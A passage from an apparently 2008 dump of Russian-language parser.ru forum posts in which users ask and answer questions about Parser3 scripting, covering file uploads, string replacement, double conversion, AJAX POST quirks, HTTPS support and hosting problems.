[code]^file:justext[/a/some.tar.gz][/code]\
нужно указть полный путь к файлк.., а если я его незнаю, а только собираюсь добавить..но имя файла свою вписать полностью.. оставить только расширение.\
\
вот такой метод не прокатывает..\
[code]$rash[^file:justext[$form:file_products]][/code]\
\
выходит ошибка\
[quote]justext\
is 'file', it has no string representation[/quote]"
"68283","стало ясно как вы читаете [url=http://www.parser.ru/forum/?id=68278]написанные вам сообщения[/url]."
"68285","вот неверный код:\
[code]^if(def $form:get && $form:get eq \"get\"+\"$tAlbums.id\"){...}{...}[/code]\
\
допустим $tAlbums.id равен 123, т.е. \"get$tAlbums.id\" как бы должно быть \"get123\", как записать это так, чтобы парсер это понял?\
я хочу, чтобы он какбе понял, что:\
если(определён $form:get и $form:get равен get$tAlbums.id){...}{...}\
\
p.s.: не давайте пожалуйста ссылки на документацию и уроки. :)"
"68289","Наверняка ведь «проверенным» методом width=\"100\" при реальном размере в 1500, нет?"
"68290","граблей с этим хостингом уже огрёб массу, последние - выше всех похвал.\
\
Если у вас таймзон отличается от московского, сменить его в БД вы не можете. Т.е. SET time_zone... ничего не даёт. Соответственно возникают проблемы с функциями даты NOW(), CURDATE() и т.д.\
\
Суппорт говорит что хостинг расчитан на массового пользователя, поэтому менять ничего не будет. :(\
\
UPD: Ещё одна попытка общения с суппортом дала результат: после каждого подключения прописывать строку\
[code]^void:sql{SET TIME_ZONE='время_смещения'}[/code]"
"68291","ну ок. хотя мне кажется парсер выдавал ошибку на этом месте.\
сейчас мне это не нужно, но в будущем пригодится воспользоваться, так что буду иметь ввиду.\
а документацию я и так вынужден постоянно читать)\
жаль, что нет поиска по документации... а то помню, допустим, метод, а подробности его использования — нет, и приходится долго рыться в документации и искать..."
"68293","ай, сорри, не заметил."
"68296","Не смотря на то, что при обращении к парсеру напрямую получаю 500 ошибку, а в браузере имею вывод: \"Parser/(null)\", парсер 3.3.0 прекрасно справляется со своими основными обязанностями(парсит html-файлы)."
"68297","не могу применять переменную $is_logon вне класса auth.p.\
т.е. если внутри этого класса прописать $is_logon, то он покажет число на выходе, а если допустим в корневом auto.p пропишу эту переменную, то ничего не выведет. :(\
мне показалось, что всё работало, до того, как я вручную правил таблицу ausers в mysql... но потом восстановил и всё-равно не работает... я всё же где-то допустил ошибку и что-то теперь блокирует переменную? не переделывать же абсолютно всё с нуля, над чем мозги ломал всю неделю? :("
"68299","офиц. анонс - тут: http://company.yandex.ru/blog/index.xml?&msg=104512\
\
лично я ждал этой штуки давно. Посмотрим, получилось ли удачнее, чем у Гугла."
"68300","По покрытию Гуглу не конкурент пока, но то, что альтернатива есть — хорошо всем."
"68302","На моём сайте через Ajax.Updater загружает текст на русском с сервера(скрипт на php) и обновляет инфу на странице. И вместо русского текста крякозабры. Помогите пожалуйста. \
Ваш ответ не понял, куда это вставлять и что это:\
$sOldCharset[$response:charset]\
$response:charset[UTF-8]\
$sTitle[$form:title]\
$response:charset[$sOldCharset]"
"68306","почему результат этого кода равен $sIntrotext?\
он почему-то не обрабатывает это как надо или просто не видит нужные данные...\
\
[code]$sIntrotext[^process{$tAlbums_.introtext}]\
$sIntrotextRep[^table::create{\
from	to\
^{mosimage^}	^$SplitImage\
^{mosif	usergroup=public^}	^^if(!^$auth.is_logon)\
^{endif^}	^}}]\
^sIntrotext.replace[$sIntrotextRep][/code]\
\
в тексте есть фразы \"{mosimage}\", \"{mosif usergroup=public}\" и \"{endif}\" и эти фразы надо заменить на \"$SplitImage\", \"^if(!$auth.is_logon)\" и \"}\" соответственно."
"68307","исполнения кода на выходе?\
тогда нужно писать так:\
[code]^process{^sIntrotext.replace[$sIntrotextRep]} [/code]\
\
а вот тут, он не нужен.\
[code]$sIntrotext[^process{$tAlbums_.introtext}][/code]"
"68308","$sIntrotext[^process{$tAlbums_.introtext}]\
не, тут он полюбому нужен, т.к. $tAlbums_.introtext содержит хтмл теги, иначе они не покажутся"
"68309","нет, сделал точно как вы сказали, всё равно ничего не меняется"
"68310","[code]$sIntrotext[^process{$tAlbums_.introtext}]\
^sIntrotext.match[^{mosimage^}][]{$SplitImage}[/code]\
\
вот так оно прекрасно заменяется.\
но это только одна фраза... а мне нужно несколько фраз, которые берутся из $tAlbums_.introtext"
"68312","Просто кое кто никак не починит репликатор на девелоперском сервере, блин…"
"68313","а во-вторых, таблица содается не так:\
[code]$sIntrotextRep[^table::create{\
from	to\
^{mosimage^}	^$SplitImage\
^{mosif	usergroup=public^}	^^if(!^$auth.is_logon)\
^{endif^}	^}}][/code]\
а вот так:\
[code]$sIntrotextRep[^table::create{from	to\
^{mosimage^}	^$SplitImage\
^{mosif	usergroup=public^}	^^if(!^$auth.is_logon)\
^{endif^}	^}}][/code]"
"68314","спасибо)\
но всё же пока ждал ответ, сделал всё другим способом =)"
"68315","Перловый модуль Net::OpenID::JanRain::Consumer не обновлялся автором с 2006 г. В октябре 2008 перцы из ЖЖ что-то поменяли в своём OpenID сервере, в связи с чем авторизация перестала проходить (сообщается об ошибке \"signature mismatch\"). Я отправил bug report (http://rt.cpan.org/Public/Bug/Display.html?id=40965), но надежда на починку слабая.\
\
С полей сообщают, что Net::OpenID::Consumer проблеме не подвержен."
"68319","Если установлен Parser, скомпилированный в Safe-mode что может работать не так? Спрашиваю, т.к. впервые с этим столкнулся, когда на работе пере-установили веб-сервер и Parser, после некоторых экспериментов с правами, начал выдавать ошибку, что он не может обработать auto.p, т.к. прав из-за Safe-mode не хватает."
"68320","и кому принадлежит сам парсер?"
"68321","Parser и мои файлы принадлежат разным группам и ошибка, обозначенная выше, мне понятна. Вопрос в другом: чего еще можно ожидать, т.к. отличия, как я понимаю, есть?"
"68323","Нет доступа к файлам другой группы и путь к сендмайлу жестко задан:\
/usr/sbin/sendmail -i -t -f postmaster\
\
Собственно и все отличия."
"68326","[code]$date_now[^date::now[]]\
^if(def $form:post){\
   ^if(def $form:image){\
   $InsertImage[content/$form:image|center|$form:title|0||bottom|center|]\
   $fValue[$form:image]\
   ^fValue.save[binary;/upload/${fValue.name}.jpg]\
   <p style=\"color: green\">Изображение успешно загружено!</p>\
   }\
   ^if(def $form:title && def $form:introtext && def $form:fulltext){\
      ^connect[$connect-string]{\
         ^void:sql{\
            INSERT INTO jos_content\
            (jos_content.title, jos_content.introtext, jos_content.fulltext,\
            jos_content.state, jos_content.created, jos_content.images)\
            VALUES ('$form:title', '$form:introtext', '$form:fulltext',\
            '^if(def $form:state){$form:state}{0}', '$form:created', '$InsertImage')\
         }\
      }\
      $response:location[$request:uri]\
      <span style=\"color: green\">Данные успешно добавлены в базу!</span>\
   }{<span style=\"color: red\">Все данные формы необходимо заполнить!</span>}\
}\
\
   <form method=\"post\" enctype=\"multipart/form-data\">\
   <p><input type=\"hidden\" name=\"created\" value=\"^date_now.sql-string[]\">\
   Заголовок: <input type=\"text\" name=\"title\">\
   <table><tr><td>\
   Вводный текст:<br />\
   <textarea name=\"introtext\" cols=\"40\" rows=\"10\"></textarea><br />\
   Текст с ссылкой:<br />\
   <textarea name=\"fulltext\" cols=\"40\" rows=\"10\"></textarea><br />\
   Публиковать: <input type=\"checkbox\" name=\"state\" value=\"1\" checked>\
   </td><td style=\"vertical-align: top\">\
   Изображение (только JPEG):<br />\
   Путь: <input type=\"file\" name=\"image\" accept=\"image/jpeg\">\
   </td></tr></table>\
   <input type=\"submit\" name=\"post\" value=\"Отправить\"></p>\
   </form>[/code]\
\
выдаёт \"is 'file', it has no string representation\",\
Ошибку вызвал этот фрагмент: sql"
"68327","Добрый день!\
\
Ставлю на valuehost парсер. У них FreeBSD 5.6 (вроде так). С сайта беру версию 4.11. Закачиваю в бинарном режиме. И вот что получается: одна часть сайта работает, а вот другая часть работать не хочет. Сервер выдает 500-ую ошибку, в логи падает \"Premature end of script headres\". Причем, при прямом обращении в скрипту парсера он как положено выдает свою версию.\
\
В чем может быть проблема, джентельмены?"
"68328","[code]   ^if(def $form:image){[/code]\
\
Должно быть:\
 \
[code]   ^if($form:image is file){[/code]\
\
Т.к. объект типа \"файл\" не имеет сторового или числового представления, чтобы его можно было сравнивать в ^if().\
\
Нельзя сравнить (а \"def\" - это, по сути, такая же операция как \"eq\" или \"==\") объект и строку/число. Это разные сущности.\
\
О чем Вам парсер и сообщает:\
[quote]'file', it has no string representation\"[/quote]\
\
Читайте документацию/примеры для лучшего понимания принципов работы парсера (да и не только парсера)."
"68330","ай ёмаё... дык я пытался понять, изучал про file и save и что к ним прилагается.\
почему же тогда, если сделать 2 формы, типа таким образом, то всё работает?\
[code]   $date_now[^date::now[]]\
   <p class=\"h2\">Админка</p>\
   <p>Добавление нового альбома:</p>\
   ^post_album[]\
   <table><tr><td>\
   <form action=\"/admin/\" method=\"post\">\
   <p><input type=\"hidden\" name=\"created\" value=\"^date_now.sql-string[]\">\
   Заголовок: <input type=\"text\" name=\"title\"><br />\
   Вводный текст:<br />\
   <textarea name=\"introtext\" cols=\"40\" rows=\"10\"></textarea><br />\
   Текст с ссылкой:<br />\
   <textarea name=\"fulltext\" cols=\"40\" rows=\"10\"></textarea><br />\
   Публиковать: <input type=\"checkbox\" name=\"state\" value=\"1\" checked><br />\
   <input type=\"submit\" name=\"post\" value=\"Отправить\"></p>\
   </form>\
   </td><td style=\"vertical-align: top\">\
   <form method=\"post\" enctype=\"multipart/form-data\">\
   Изображение (только JPEG):<br />\
   Путь: <input type=\"file\" name=\"image\" accept=\"image/jpeg\"><br />\
   <input type=\"submit\" name=\"post_image\" value=\"Загрузить\">\
   </form>\
   ^if(def $form:post_image){\
      ^if(def $form:image){\
         <p style=\"color: green\">Изображение\
         ^form:files.image.foreach[sNum;fValue]{\
            $fValue.name\
            $lgValue[^fValue.name.lower[]]\
            ^fValue.save[binary;/upload/^lgValue.match[ ][g]{_}]\
         }[,] успешно загружено!</p>\
      }{<p style=\"color: red\">Изображение не выбрано!</p>}\
   }\
   </td></tr></table>\
#################################################################################\
@post_album[]\
$InsertImage[content/$form:image|center|$form:title|0||bottom|center|]\
^if(def $form:post){\
^if(def $form:title && def $form:introtext && def $form:fulltext && def $form:image){\
   ^connect[$connect-string]{\
      ^void:sql{\
         INSERT INTO jos_content\
         (jos_content.title, jos_content.introtext, jos_content.fulltext,\
         jos_content.state, jos_content.created, jos_content.images)\
         VALUES ('$form:title', '$form:introtext', '$form:fulltext',\
         '^if(def $form:state){1}{0}', '$form:created', '$InsertImage')\
      }\
   }\
   $response:location[$request:uri]\
}{<span style=\"color: red\">Все данные формы необходимо заполнить!</span>}\
}[/code]"
"68331","$InsertImage[content/[b]^form:image.name.lower[][/b]|center|$form:title|0||bottom|center|]"
"68332","а вот это помогло! спасибо! =)"
"68333","типа этого - <?xml version=\"1.0\" encoding=\"UTF-8\"?>"
"68334","[code]       $sFulltext[^untaint{$tAlbumsFull.fulltext}]\
\
       $sFulltextTrim[\
       ^sFulltext.match[{mosif usergroup=public}<font color=\"red\"><b>Чтобы увидеть ссылку на скачивание необходимо зарегистрироваться или выполнить вход на сайт!</b></font>{endif}\\r\\n{mosif usergroup!=public}][]{}\
       ]\
       $sFulltextTrim2[\
       ^sFulltext.match[{mosif usergroup=public}<font color=\"red\"><b>Чтобы увидеть ссылку на скачивание необходимо зарегистрироваться или выполнить вход на сайт!</b></font>{endif}{mosif usergroup!=public}][]{}\
       ]\
          ^if(def $sFulltextTrim){\
             ^sFulltextTrim.match[{endif}][]{}\
          }{\
             ^sFulltextTrim2.match[{endif}][]{}\
          }[/code]\
почему-то первое условие выполняется, а второе не хочет.\
если написать [code]^if(!def $sFulltextTrim)[/code], то наоборот первое не будет выполняться, а второе будет.\
как сделать, чтобы эти 2 условия выполнялись нормально?"
"68336","извините, я неправильно выразился. я имею ввиду то, что внутри if происходит, типа {если да, то} и {если нет, то} — то, что в фигурных скобках я ошибочно назвал условиями.\
но суть-то не поменялась..."
"68337","пока ждал ответ всё же решил проблемку, надо было написать следующим образом:\
[code]^if($sFulltextTrim gt $sFulltextTrim2){\
             ^sFulltextTrim.match[{endif}][]{}\
          }{\
             ^sFulltextTrim2.match[{endif}][]{}\
          }[/code]\
и тогда всё заработало, как я хотел! странно почему это работает, я нашёл решение методом подбора."
"68340","ну, наконец то!"
"68341","зато этот бред работает! :)\
а вот вы ничего не предложили в качестве \"валидной\" альтернативы :Р"
"68342","Доступа к error.log нету. Сервант не свой все-таки :).\
Вот что падает в логи:\
\
[quote][Wed Nov 19 19:58:25 2008] [error] [client 82.146.60.174] Premature end of script headers: /pub/home/crimeanhome/htdocs/feotoday/cgi-bin/parser3/parser3.cgi[/quote]"
"68343","... нормально сформулировать задачу и прочитать документацию. Причем не в первом сообщении этой ветки, а перед написанием кода. Просто городите отсебятину совершенно бессмысленную и все.\
\
Хороший метод: сесть и написать на бумажке алгоритм, который вы хотите получить на языке программирования. Словами. Получился литератруный текст? Отлично! Не получился? Перепешите текст заново. Сейчас Вы просто пытаетесь подогнать код под необходимый результат, а не писать код, который решает задачу."
"68345","Сабмитил формы аяксом, и обнаружил странную \"особенность\" то-ли парсера, то-ли FireFox (скорее второе).\
При jQuery POST запросах к парсеровским файлам под Фаерфоксом (тестил FF2 и FF3 с Firebug и без оного)\
до парсера содержимое POST зпроса не доходит. Сначала грешил на парсер, но потом обнаружил что те же запросы  из под других браузеров (Chrome, Opera) доходят на ура.\
\
Вот запросы:\
[code]$.ajax({\
  type: \"POST\",\
  url: \"\",\
  data: {'xmlAction': \"uploadTheFile\", 'message': \"2pm\" },\
  success: function(msg){\
    alert( \"Data Saved: \" + msg );\
  }\
});[/code]\
\
и вот содержимое /dif/xml-echo.html :\
 \
[code]@main[]\
$h[$form:fields]\
$dump[Dump: ^h.foreach[key;value]{ $key = $value }[ ||] ]\
$errMessage[<recode>4120</recode><explain>\
=$env:REQUEST_METHOD=\
=^if($form:fields){1}{0}==$env:CONTENT_LENGTH=\
=^taint[$request:body]=-- $form:nameless --$dump -^h._count[]-$form:xmlAction</explain>]\
$response:content-type[	$.value[text/xml] $.charset[$response:charset] ]\
$result[<?xml version=\"1.0\" encoding=\"$request:charset\"?><answer>$errMessage</answer>][/code]\
\
Если запрос через FireFox, то [b]$env:CONTENT_LENGTH= 0[/b]  , но [b]$request:body содержит тело пост-запроса[/b]. \
Через Opera 9.* Chrome, [b]$env:CONTENT_LENGTH=231[/b]  , и [b]$form:xmlAction доходит прекрасно[/b]...\
\
Еще интересное, что запрос из jQuery к php скрипту доходит хорошо во всех браузерах...\
\
Странная, право, штуковина. Никто не встречался с таким? Где тут косяк: у фокса или меня?"
"68346","Приветствую!\
\
У меня 3 класса, там внутри идет наследование:\
[code]\
Object -> Engine -> EngineX\
[/code]\
\
В каждом из них прописано:\
[code]\
@OPTIONS\
locals\
partial\
[/code]\
\
Есть файл, к примеру XMLConnector, со следующим содержанием:\
[code]\
@CLASS\
EngineX\
\
@OPTIONS\
locals\
partial\
\
\
@testMethod[]\
\
#end @testMethod[]\
[/code]\
\
В результате получаю ошибку:\
[code]\
can't set base while appending methods to class 'EngineX'\
[/code]\
\
Но если я укажу класс Object в @CLASS, то проблем не будет.\
\
Но методы добавятся к классу Object, тем самым будут доступны все трем классам. А мне бы хотелось их добавить только к последнему - EngineX. Реально ли такое сделать?"
"68347","Это был баг http://www.parser.ru/forum/?id=66666\
\
Беты тут: http://www.parser.ru/download/beta/"
"68349","- версия парсера? (если не 3.3.0 -- обновите)\
- запостите $request:body из FF3"
"68350","и парсер не влазит в отведённые вам хостером лимиты и автоматически убивается операционной системой."
"68353","Или чтобы парсер работал через 443 с SSL сертификатами можно воспользоваться родным? Если не требуется пересылать и забирать файлы?"
"68354","для HTTPS на вашем сервере - нет."
"68355","Возникла необходимость использовать парсер на apache по порту 443.\
Система FreeBSD 7.0-RELEASE. Использую порт apache13-ssl. При пыпытке обращения к странице из FireFox 2.0.0.18 получаю предупреждение: \"FireFox получено сообщение с некорректным кодом аутентификации сообщения. Если эта ошибка повторяется часто, свяжитесь с админитсратором сайта\". IE тоже не может отобразить страницу. Никаких ошибок в журнале апача и парсера не появляется. \
Правильно ли я понимаю что парсер не умеет работать по протоколу https?\
Отчего и возник вопрос: ваш данный патч решит проблему исполнения скриптов по https:// ?"
"68356","Вам надо корректно настроить Апач для обработки защищенных соединений. В сети полно пошаговых инструкций как это сделать.\
\
А патчи решают проблему обращения из парсеровского скрипта к удаленному https-серверу. Как правило, этот функционал нужен для обращения к сторонним веб-сервисам, которые требуют более высокой степени защиты канала передачи данных (платежные системы, билинги и пр.). Кроме того, патчи не поддерживают работу с серитфикатами, что несколько сужает область их применения (в этом случае можно использовать внешние программы curl, wget и пр.)."
"68357","Лично для меня событие, т.к. старый \"дизайн\" сложно было назвать дизайном.\
\
Но последнее время смотря на iGoogle, Google Docs, Gmail и Android видно в Google есть дизайнеры и они работают как надо.\
\
Всех кто пользуется веб интерфейсом [url=\"http://www.gmail.com\"]Google Mail[/url] поздравляю! Пора выбрать понравившийся стиль.\
\
P.S. А кто еще даже не знает, что такое Gmail от Google, то сейчас как раз то время когда нужно к нему присмотреться."
"68359","\"На вашем сервере\" обозначает сервер на котором вы устанавливаете апач и парсер, а не какой-то конкретный экземпляр железа. Sumo все подробно объяснил."
"68360","Если есть потребность, можно доработать поддержку сертификатов."
"68361","Например, название параметра $.File надо сделать с маленькой буквы иначе, это не совпадает со стилем конструктора. А работу с сертификатами сделать надо обязательно. Дальше уже вопрос к Мише - интегрировать это в Парсер или нет."
"68362","$.File - для примера. Имя можно указать любое (это тоже имя, что в <input type=\"file\" name=\"File\">\
\
Есть какие-нибудь идеи, как лучше реализовать работу с сертификатами (с точки зрения языка, а не внутренней реализации)?\
\
BTW, а еще есть немного сыроватый патч, реализующий работу с memcached (пока не выложен)."
"68363","Про сертификаты надо подумать. С другой стороны можно вставить текущие патчи в следующую версию, а уже потом додумывать работу с сертификатами.\
\
А вот насчет memcached вопрос более сложный. В принципе связки со специфическими внешними системаи надо делать в виде внешних плагинов (как sql-драйверы), но в Парсере просто нет такой инфраструктуры, да и Миша говорил, что он не готов к серьезной реорганизации кода. С другой стороны можно сделать ключик для --with-memcached в configure. Тем более, что Вы явно не будете возиться с кроссплатформенностью этого решения. :)"
"68366","Добрый день. Перевожу сайт с ошметок парсера в html. Сайт изначально был ломанный, поэтому пишу скрипт который выцепляет данные и вешает на новый шаблон. При этом в сайте мешанина с использованием офйормления - как и парсер, так и  обычная разметка. Скрипт на перле. И столкнулся с проблемой в некоторых страницах - нет ли какой программы, которая конвертит код парсера в хтмыльную разметку?"
"68368","мда. неприятный вариант. но спасибо."
"68370","с учетом отсутсвия сервера и вгета - не уверен :) ладно, продолжу писать конвертацию кусочками."
"68372","вместо свободно распространяемого wget можно взять любую другую подобную программу (например Teleport Pro)."
"68373","Всем большое спасибо за советы :) уже справился с проблемой, написав парсер парсера :) просто сайт находился в ужасном состоянии, собран из ошметков был"
"68375","Существуют ли системы управления версиями для коллективной разработки программного обеспечения, которые можно установить на хостинг? Нужна простая и стабильная система, без особенных наворотов, с веб-интерфейсом."
"68376","... имеют серверную часть, поэтому на виртуальный хостинг их просто так не поставишь. \
\
Неплохая связка [url=http://subversion.tigris.org/]Subversion[/url] + [url=http://trac.edgewall.org/]Trac[/url]"
"68378","Это хорошо, но хочется поставить на свой хостинг."
"68379","Спасибо. Но неужели нет хотя бы одной приличной системы контроля версий на чем-нибудь скриптовом (на Perl, например)?"
"68381","Ситуация такая: из базы достаются данные ($que), которые преобразуются в хэш таблиц ($tableGr) по определенному полю, также достается таблица ($loss) с определенной формулой (точнее с полями указывающими на id строк в таблице из хэша)\
[code]\
^loss.menu{\
	^if(^tableGr.locate[id;$loss.id_1_1]){\
		<script type=\"text/javascript\">\
			alert('!!! ^tableGr.line[]')\
		</script>\
	}\
}[/code]\
проблема в том, что alert не выполняется никогда, независимо от того есть совпадение или нет.\
\
Дополнение:\
делая \
[code]<script type=\"text/javascript\">\
	alert('$loss.id_1_1')\
</script>[/code]\
в теле ^loss.menu получаю нормальные значения существующих id\
и если написать ^tableGr.locate[id;50] (т.е. поставить одно из значений), то locate отлично отрабатывает/\
Версия парсера 3.3.0 (compiled on i386-pc-win32)"
"68382","[quot]\
...преобразуются в хэш таблиц ($tableGr)...\
...\
...^tableGr.locate[...]...\
[/quot]\
\
должна быть ошибка, т.к. хеш не имеет метода locate (хеш таблиц -- это хеш, значениями ключей которого являются таблицы).\
\
т.е. то, что вы рассказываете, не соответствует тому, что вы показываете. в этом случае угадать что вы имеете на самом деле у нас вряд ли получится.\
\
если вы можете привести чуть больше кода, который всё прояснит -- приведите.\
\
но для начала попробуйте:\
- сохранить данные, с которыми вы работаете и убедится, что там действительно именно то, что вы ожидаете\
- попробовать не получать данные из БД, а перед вашим кодом ручками написать два table::create с этими данными (возможно у вас в БД char-поле с ID, и из БД вам приходит '12 ', которое вы сравниваете с '12' -- они не равны, т.к. .locate[] делает 'eq', а не '==')"
"68383","прошу прощения, все вы пишите делал конечно но не заметил одну неувязку с $loss, если из скрипта сохранить используемые таблицы save'ом, то после используя их результат есть, но из бд все таки не хочет. т.е. открываем сохраненный файл и вставляем его содержимое в код, примерно в таком виде\
[code]$loss[^table::create{pxx	pvs1	pvs2	pvn1	pvn2	snom	idvn_1_1	idvn_1_2	idvn_1_3	idvn_1_4\
30	140	39	132	84	25000	51	1	1	1\
}] [/code]\
кстати БД MS SQL2000  все поля типа int"
"68384","Нужен скрипт на parser для приема webmoney на сайте.\
Для страниц pay, success и fail.\
\
Рабочий скрипт могу приобрести за yandex.деньги\
\
p.s. видел на форуме что-то похожее, но там не совсем то"
"68385","http://www.parser.ru/forum/?id=63918"
"68386","видел я этот пост... не то"
"68387","Получаю числа с запятыми (0000.00) из базы (в формате string, естественно они получаются) или от пользователя. \
\
Можно ли как-нибудь просто превратить их в double?\
\
Т.е. чтобы было так\
$a[$t_table_from_base.money] - это string, например 11.11\
$b[$form:money]\
--- тут какие-то операции\
$a - уже double\
$b - уже double\
\
$b(^b.double(0.00)) не помогает\
$b[^b.format[%.2f]] не помогает\
$b(^b.format[%.2f]) - тоже не помогает.\
\
Спасибо за помощь."
"68388","Можно\
$a($t_table_from_base.money)\
$b($form:money)\
\
для надёжности\
$b(^form:money.double(0))"
"68389","1. От пользователей данные поступают не в формате '000.00', там могут быть пробелы и запятые, так что приходится сначала конвертировать.\
\
2. Хочется просто разобраться с этими double. Дело в том, что если написать $a(7.89), то $a в коде будет выдавать именно 7.89. В случае $a($t_table_from_base.money) чтобы получить 7.89 придётся писать ^a.format[%.2f]. Это меня немного не устраивает."
"68390","[quote]В случае $a($t_table_from_base.money) чтобы получить 7.89 придётся писать ^a.format[%.2f]. Это меня немного не устраивает.[/quote]\
\
Это абсолютно нормально.\
Для того форматные строки и придуманы, чтобы выводить числа в нужном формате.\
\
Подумайте, что будет, если вам захочется показать значение с одним разрядом после запятой.\
\
Что до задачи, то лучше следовать подходу: получить данные, проверить, привести в порядок и сохранить.\
Показывать же уже проверенное и в нужном виде, в каждой из ситуаций."
"68391","вот недоработанный код:\
[code]<form method=\"post\">\
<input type=\"text\" name=\"search\">\
<input type=\"submit\" name=\"find\" value=\"поиск\">\
</form>\
\
^if(def $form:find){\
   ^connect[$connect-string]{\
      $tAlbumsSearch[^table::sql{\
         SELECT jos_content.id,\
                jos_content.title,\
                jos_content.introtext,\
                jos_content.state,\
                jos_content.created\
         FROM   jos_content\
         ORDER BY jos_content.created DESC\
      }]\
   }\
}\
\
$strIntrotext[^untaint{$tAlbumsSearch.introtext}]\
$IsSearchString[\
   ^strIntrotext.match[\\$form:search][i,g]\
]\
\
^if(def $IsSearchString){\
   <table>\
   ^tAlbumsSearch.menu{\
      <tr><td>$tAlbumsSearch.id</td><td>$tAlbumsSearch.title</td></tr>\
   }\
   </table>\
}[/code]\
\
я хотел сделать чтобы показывались те материалы из базы, в которых упоминается введённое в форму ключевое слово.\
но чего-то не соображу, как надо сделать."
"68392","http://dev.mysql.com/doc/refman/5.0/en/fulltext-search.html"
"68394","Помогите, плз.\
Столкнулся с проблемой, описанной в [url=\"http://www.parser.ru/forum/?id=52844\"]ветке[/url]. Прочитал, сделал - а получаю ошибку \"'x' string method not found [parser.runtime]\"\
\
[code]\
<form method=\"post\" name=\"form1\">\
<p>Ваше имя:\
<label>\
<input name=\"name\" type=\"text\">\
</label>\
</p>\
<p>\
<input name=\"vote\" type=\"image\" id=\"submit\" value=\"Vote\" src=\"/i/vote.jpg\">\
</p>\
</form>\
$x_coord[$form:vote.x]\
$x_coord\
[/code]\
\
Соответсвенно, ^if(def...) тоже не работает. Как обойти, помогите плз."
"68396","Разбирал довольно большой кусок текста таким вот матчем\
$s_text[^s_text.match[^^((?!lalala).)+(lalala)][ig]{$match.2}]\
\
другие замены (без позиционной проверки) проходят.\
Это у меня ошибка или у парсера?"
"68397","Не берусь отверждать на 100%, но кажется регулярка у вас кривая.\
Что вы хотели получить написав опережающую проверку слева?"
"68398","$s_text[^s_text.match[^^((?!lalala).)+(lalala)][ig]{$match.2}]\
\
ищем с начала строки максимально длинную последовательность символов с таким условиям, чтобы справа от них был текст lalala.\
 \
Конкретно это выражение, наверно, можно упростить. Но у меня более сложное там. Да и не суть важно, так как это тоже выдаёт ошибку.\
\
Также оно проверялось в regexBuddy - всё работало прекрасно."
"68399","1. Так говорил Paf в ветке по ссылке\
2. Так указано в описнии input type=\"image\"\
3. При использовании method=\"GET\" значение этого поля видно в строке запроса\
\
Вроде бы так."
"68401","вам нужно обращаться к переменной form с именем 'vote.x', а не к полю 'x' переменной vote.\
\
т.е. синтаксис, указанный PAF-ом некорректен и вам нужно найти корректный синтаксис в FAQ-е, форуме."
"68402","напишите метод, который будет удалять лишние символы, если вам так больше нравится (однако я считаю что текущее поведение, когда парсер ругается, если встретит в \"числе\" букву -- более корректное)\
\
\
double -- это не число с 2 символами после запятой. double -- это double, и работая с ним вы обязаны использовать форматные строки, чтобы получать предсказуемые результаты.\
ПАФ в форуме уже несколько раз описывал особенности double. поищите (его имя + double) и почитайте."
"68404","[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
#$response:charset[windows-1251]\
$response:content-type[\
	$.charset[$response:charset]\
	$.value[text/html]\
]\
\
\
<a href=\"?letter=b\">English 'b'</a><br />\
<a href=\"?letter=e\">English 'e'</a><br />\
<a href=\"?letter=е\">Русская 'е'</a><br />\
\
<hr />\
Result:<br />\
\
$sPrefix[$form:letter]\
$sPrefix[^sPrefix.match[\\d+][g]{}]\
\
^switch[$sPrefix]{\
	^case[e]{1}\
	^case[е]{2}\
	^case[DEFAULT]{0}\
}\
[/code]"
"68405","ajax_frontend.html\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.charset[$response:charset]\
	$.value[text/html]\
]\
\
<html>\
<body>\
<form onsubmit=\"return false\">\
<input type=\"button\" value=\"PUSH ME!\" onclick=\"testload()\" />\
</form>\
\
<p id=\"load\"/>\
\
<script><!--\
function testload(){\
	var http_ready = 0;\
	var xmlhttp = getHTTPObject();\
	xmlhttp.open(\"POST\", \"./ajax_backend.html?status=1&andmore=123\", true);\
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=utf-8');\
	xmlhttp.onreadystatechange = function(){\
		if(xmlhttp.readyState == 4) {\
			if (xmlhttp.status == 200) {\
				if(xmlhttp.responseText != ''){\
					cnt = document.getElementById('load');\
					cnt.innerHTML = xmlhttp.responseText;\
				}\
			} else {\
				alert('Ошибка доставки данных:\\nНевозможно получить ответ от сервера.');\
			};\
		}\
	}\
	xmlhttp.send(null);\
}\
\
function getHTTPObject() {\
	var xmlhttp;\
	if (window.XMLHttpRequest) {\
	     xmlhttp = new XMLHttpRequest();\
	} else if (window.ActiveXObject) {\
	     xmlhttp = new ActiveXObject(\"Microsoft.XMLHTTP\");\
	}	 \
	return xmlhttp;\
}\
//-->\
</script>\
</body>\
</html>\
\
[/code]\
\
ajax_backend.html\
[code]\
@main[]\
$request:charset[utf-8]\
$response:charset[utf-8]\
$response:content-type[\
	$.charset[$response:charset]\
	$.value[text/html]\
]\
\
body = $request:body<br/>\
post = $request:post-charset<br/>\
^form:fields.foreach[k;v]{\
	$k = $v\
}[<br />]\
\
[/code]\
\
Opera 9.5, FF2 -- всё ок (parser330 win32).\
\
пришедший content type читается стандартными функциями:\
parser3.C\
request_info.content_type=getenv(\"CONTENT_TYPE\");\
\
возможно именно с этим и проблема, однако мне она кажется маловероятной, но чтобы проварить и убедится нужно знать на какой ОС проблема имеет место быть у вас."
"68406","[code]$form:[vote.x][/code]\
Misha v.3, спасибо за наводку!"
"68407","не могу найти в документации, как сделать, чтобы в \".menu{}\" записи выводились с порядковыми номерами?\
например:\
[code]<table>\
^tAlbumsSearch.menu{\
   <tr>\
   <td>[b]ПОРЯДКОВЫЙ_НОМЕР_ЗАПИСИ[/b]</td>\
   <td><a href=\"/albums/?get=$tAlbumsSearch.id\">$tAlbumsSearch.title</a></td>\
   </tr>\
}\
</table>[/code]"
"68409","Пришлось помучаться, зато теперь радуюсь :)\
\
Есть:\
\
	Parser 3.3.0 собранный с поддержкой XML, без safe mode.\
	Драйвер для MySQL 5.0.\
	Драйвер для SQLite 3.\
\
Более подробно на [url=\"http://therabbit2.com/parser/\"]http://therabbit2.com/parser/[/url].\
\
Добавьте пожалуйста в «Прислали пользователи»."
"68410","Скачал последнюю версию парсера, залил на сервер, поставил права на выполнение. При обращении к нему возвращяет: Parser/3.3.0 (compiled on i686-pc-linux-gnu). Но когда бытаюсь запустить сайт, выдает ошибку:\
